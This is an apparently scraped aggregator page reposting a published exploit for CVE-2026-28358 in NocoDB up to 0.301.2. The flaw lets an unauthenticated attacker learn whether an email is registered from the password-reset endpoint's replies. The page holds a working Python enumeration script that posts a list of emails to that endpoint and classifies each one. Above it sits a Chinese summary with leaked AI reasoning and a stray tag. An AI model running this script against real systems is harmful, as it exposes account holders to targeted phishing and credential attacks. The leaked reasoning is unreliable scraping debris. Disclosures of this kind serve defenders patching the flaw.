NocoDB < = 0.301.2 User Enumeration via Password Reset Endpoint
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。用户提供的文章看起来是一个Python脚本,用于利用NocoDB的一个漏洞,CVE-2026-28358。这个漏洞允许通过密码重置端点进行用户枚举。 首先,我需要理解文章的主要内容。文章标题提到了NocoDB的用户枚举漏洞,通过密码重置端点。作者是Mohammed Idrees Banyamer,来自约旦。漏洞影响的是NocoDB版本<=0.301.2,修复版本是0.301.3。 接下来,描述漏洞的细节:攻击者可以通过发送请求到/api/v2/auth/password/forgot端点,根据返回的不同响应来判断邮箱是否注册。注册的邮箱会返回成功消息,而未注册的则会返回特定错误信息。 然后是利用方法:提供了一个Python脚本,用户需要修改base_url和emails列表即可运行。脚本会向目标发送请求,并根据响应判断邮箱是否注册。 最后,需要注意的是这个脚本只能用于授权的安全测试或教育用途,不能用于未经授权的系统。 现在我要把这些信息浓缩到100字以内。要涵盖漏洞名称、影响范围、利用方式、修复版本以及用途限制。 可能的结构是:描述漏洞名称、影响版本、利用方法(通过密码重置端点判断邮箱注册状态)、修复版本以及用途限制。 这样组合起来应该在100字左右。 </think> NocoDB存在用户枚举漏洞(CVE-2026-28358),影响版本<=0.301.2。攻击者可通过密码重置端点判断邮箱是否注册。修复版本为0.301.3。此工具用于授权测试或教育用途。 2026-3-8 15:39:4 Author: cxsecurity.com(查看原文) 阅读量:9 收藏

#!/usr/bin/env python3 # Exploit Title: NocoDB User Enumeration via Password Reset Endpoint # CVE: CVE-2026-28358 # Date: 2026-03-04 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://nocodb.com # Software Link: https://github.com/nocodb/nocodb # Affected: NocoDB <= 0.301.2 # Tested on: NocoDB 0.301.0 / 0.301.2 # Category: Webapps # Platform: Linux / Windows / Docker # Exploit Type: Remote # CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) # Description: Unauthenticated user enumeration via timing / response difference # in the password reset endpoint (/api/v2/auth/password/forgot). # Registered emails return success message while unregistered ones # return specific error "Your email has not been registered." # Fixed in: 0.301.3 # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # -- Modify the base_url and emails list below # # Notes: # • Only for authorized security testing / educational purposes # • Do not use against systems you do not own or have explicit permission to test # # How to Use # # Step 1: Update base_url to point to your target NocoDB instance # Step 2: Modify or replace the emails list with targets to check # # ──────────────────────────────────────────────── import requests import json base_url = "http://<NOCODB_HOST>/api/v2/auth/password/forgot" emails = [ "[email protected]", "[email protected]", "[email protected]", "[email protected]" ] headers = { "Content-Type": "application/json" } for email in emails: payload = { "email": email } try: response = requests.post(base_url, headers=headers, data=json.dumps(payload)) print(f"Email: {email}") print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if "Your email has not been registered" in response.text: print("Result: Unregistered\n") else: print("Result: Registered (or success message)\n") except Exception as e: print(f"Error for {email}: {e}\n")



 

Thanks for you comment!
Your message is in quarantine 48 hours.


文章来源: https://cxsecurity.com/issue/WLB-2026030013
如有侵权请联系:admin#unsafe.sh